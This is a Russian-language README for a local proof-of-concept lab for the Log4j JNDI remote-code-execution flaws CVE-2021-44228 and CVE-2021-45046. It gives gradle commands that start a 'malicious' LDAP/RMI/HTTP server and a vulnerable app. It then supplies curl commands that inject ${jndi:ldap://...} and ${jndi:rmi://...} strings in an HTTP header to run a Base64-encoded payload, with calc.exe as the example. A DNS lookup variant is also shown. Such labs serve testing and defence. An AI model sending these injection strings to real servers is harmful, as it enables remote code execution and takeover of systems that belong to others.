Log4j CVE-2021-44228 и CVE-2021-45046

Требования

Используйте уязвимую JDK, например JDK 1.8.0_181

Использование

Вредоносный сервер

Вредоносный сервер разворачивает следующие конечные точки:

• 1389 LDAP-сервер
• 1099 RMI-сервер
• 8081 HTTP-сервер

./gradlew :malicious-server:bootRun

Уязвимое приложение

Уязвимое приложение разворачивает одну HTTP-конечную точку на 8082

./gradlew :vulnerable-app:bootRun

Удалённое выполнение кода

Выберите полезную нагрузку (payload), которая будет выполнена уязвимым приложением, и закодируйте её в Base64. Например, чтобы открыть калькулятор в Windows: calc.exe

LDAP

curl --header "X-Vulnerable-Header: ${jndi:ldap://localhost:1389/payload/Log4j/Y2FsYy5leGU=}" http://127.0.0.1:8082/

RMI

curl --header "X-Vulnerable-Header: ${jndi:rmi://localhost:1099/payload/Log4j/Y2FsYy5leGU=}" http://127.0.0.1:8082/

DNS-запросы

curl --header "X-Vulnerable-Header: ${jndi:dns://8.8.8.8/google.es}" http://127.0.0.1:8082/